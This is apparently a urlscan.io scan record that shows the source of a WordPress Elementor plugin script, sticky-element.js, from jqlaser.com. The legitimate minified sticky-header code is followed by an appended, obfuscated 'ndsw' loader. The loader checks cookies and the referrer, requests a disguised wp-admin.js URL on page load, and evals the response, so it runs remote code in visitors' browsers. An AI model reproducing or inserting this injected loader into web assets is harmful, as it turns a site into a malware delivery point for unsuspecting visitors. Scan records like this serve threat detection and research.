www.jqlaser.com Open in urlscan Pro
82.180.175.124  Public Scan

URL: https://www.jqlaser.com/wp-content/plugins/jeg-elementor-kit/assets/js/elements/sticky-element.js
Submission: On March 26 via manual from RU — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

!function(e){var t={};function i(s){if(t[s])return t[s].exports;var n=t[s]={i:s,l:!1,exports:{}};return e[s].call(n.exports,n,n.exports,i),n.l=!0,n.exports}i.m=e,i.c=t,i.d=function(e,t,s){i.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:s})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(e,t){if(1&t&&(e=i(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var s=Object.create(null);if(i.r(s),Object.defineProperty(s,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)i.d(s,n,function(t){return e[t]}.bind(null,n));return s},i.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(t,"a",t),t},i.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},i.p="",i(i.s=0)}([function(e,t){class i extends elementorModules.frontend.handlers.Base{bindEvents(){this.$element.data("stickyTop",this.$element.offset().top),this.runSticky()}runSticky(){if(!this.$element.hasClass("jkit-sticky-element--enabled"))return;const e=this,t=jQuery,i=this.$element,s=this.getElementSettings(),n=i.hasClass("jkit-sticky-element-on--down")?"down":i.hasClass("jkit-sticky-element-on--up")?"up":"both",o=i.hasClass("jkit-sticky-position--fixed")?"fixed":"sticky";let r=i.data("stickyTop"),d=0;e.stickyTop=r,e.width=i.outerWidth(),e.height=i.outerHeight(),e.margin=i.css("margin"),"fixed"===o?(i.wrap('<div class="wrapper-sticky-fixed"></div>'),i.parent().css("width",e.width),i.parent().css("height",e.height),i.parent().css("margin",e.margin),i.css("width",e.width),i.css("height",e.height),i.css("margin",e.margin)):i.parent().hasClass("wrapper-sticky-fixed")&&i.unwrap(),t(window).on("load resize scroll",i,(function(c){const a=t("body").attr("data-elementor-device-mode"),l=t(this).scrollTop();let h=!0;if("fixed"===o&&"resize"===c.type&&(i.parent().hasClass("wrapper-sticky-fixed")&&(i.unwrap(),i.css("position","relative"),i.removeClass("sticky-pinned")),i.css("width",""),i.css("height",""),i.css("margin",""),e.width=i.outerWidth(),e.height=i.outerHeight(),e.margin=i.css("margin"),i.wrap('<div class="wrapper-sticky-fixed"></div>'),i.parent().css("width",e.width),i.parent().css("height",e.height),i.parent().css("margin",e.margin),i.css("width",e.width),i.css("height",e.height),i.css("margin",e.margin)),"string"==typeof s.jkit_sticky_device&&(s.jkit_sticky_device=[s.jkit_sticky_device]),Object.values(s.jkit_sticky_device).forEach((function(e){a!==e||(h=!1)})),h)return i.css("position","relative"),i.removeClass("sticky-pinned"),void(i.hasClass("elementor-column")||i.css("width","unset"));const p="down"===n?l:l+t(this).height(),k="down"===n?r:r+i.outerHeight(!0);if(!i.hasClass("sticky-pinned")&&(r=i.offset().top,void 0!==s)){if(void 0!==s.jkit_sticky_top_position){r-=s.jkit_sticky_top_position.size;const n=t("#wpadminbar");n.length&&e.width>600?(r-=n.height(),i.css("--wpadminbar-height",n.height()+"px")):i.css("--wpadminbar-height","")}void 0!==s.jkit_sticky_bottom_position&&(r+=s.jkit_sticky_bottom_position.size)}"down"===n&&k<p||"up"===n&&k>p?(i.css("position",o),i.addClass("sticky-pinned"),e.hideOnScroll(l,d,n,c,i)):"both"===n&&"sticky"===o?(i.css("position",o),i.addClass("sticky-pinned")):(i.css("position","relative"),i.removeClass("hide-sticky"),i.removeClass("sticky-pinned")),d=l}))}hideOnScroll(e,t,i,s,n){if("scroll"===s.type){if("down"===i){if(this.stickyTop+this.height>=t&&n.hasClass("jkit-sticky-element--threshold"))return void n.removeClass("hide-sticky");if(e>t&&n.hasClass("jkit-sticky-element--hide-on-scroll"))return void n.addClass("hide-sticky")}else if("up"===i){if(Math.abs(jQuery(window).height()-this.height-this.stickyTop+this.height)<=t&&n.hasClass("jkit-sticky-element--threshold"))return void n.removeClass("hide-sticky");if(e<t&&n.hasClass("jkit-sticky-element--hide-on-scroll"))return void n.addClass("hide-sticky")}n.removeClass("hide-sticky")}}onElementChange(e){-1!==["jkit_sticky_section","jkit_sticky_device","jkit_sticky_trigger","jkit_sticky_position"].indexOf(e)&&(jQuery(window).off("load resize scroll",this.$element),this.runSticky())}}jQuery(window).on("elementor/frontend/init",(()=>{const e=e=>{elementorFrontend.elementsHandler.addHandler(i,{$element:e})};elementorFrontend.hooks.addAction("frontend/element_ready/container",e),elementorFrontend.hooks.addAction("frontend/element_ready/section",e),elementorFrontend.hooks.addAction("frontend/element_ready/column",e)}))}]);;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//www.jqlaser.com/wp-admin/wp-admin.js","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}}